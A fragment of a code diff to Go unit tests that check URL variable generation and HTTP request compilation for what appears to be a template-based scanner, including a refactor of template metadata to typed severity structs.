require.Equal(t, values["Hostname"], "localhost:9001", "incorrect hostname")
baseURL = "https://example.com"
parsed, _ = url.Parse(baseURL)
values = generateVariables(parsed, false)
require.Equal(t, values["BaseURL"], parsed.String(), "incorrect baseurl")
require.Equal(t, values["Host"], "example.com", "incorrect domain name")
require.Equal(t, values["RootURL"], "https://example.com", "incorrect rootURL")
require.Equal(t, values["Path"], "", "incorrect path")
require.Equal(t, values["Port"], "443", "incorrect port number")
require.Equal(t, values["Scheme"], "https", "incorrect scheme")
require.Equal(t, values["Hostname"], "example.com", "incorrect hostname")
baseURL = "ftp://foobar.com/"
parsed, _ = url.Parse(baseURL)
values = generateVariables(parsed, true)
require.Equal(t, values["BaseURL"], parsed.String(), "incorrect baseurl")
require.Equal(t, values["Host"], "foobar.com", "incorrect domain name")
require.Equal(t, values["RootURL"], "ftp://foobar.com", "incorrect rootURL")
require.Equal(t, values["Path"], "", "incorrect path")
require.Equal(t, values["Port"], "", "incorrect port number") // Unsupported protocol results in a blank port
require.Equal(t, values["Scheme"], "ftp", "incorrect scheme")
require.Equal(t, values["Hostname"], "foobar.com", "incorrect hostname")
}
func TestMakeRequestFromModal(t *testing.T) {
options := testutils.DefaultOptions
@ -36,7 +77,7 @@ func TestMakeRequestFromModal(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile http request")
@ -63,7 +104,7 @@ func TestMakeRequestFromModalTrimSuffixSlash(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile http request")
@ -101,7 +142,7 @@ Accept-Encoding: gzip`},
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile http request")
@ -140,7 +181,7 @@ Accept-Encoding: gzip`},
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile http request")

Some files were not shown because too many files have changed in this diff Show More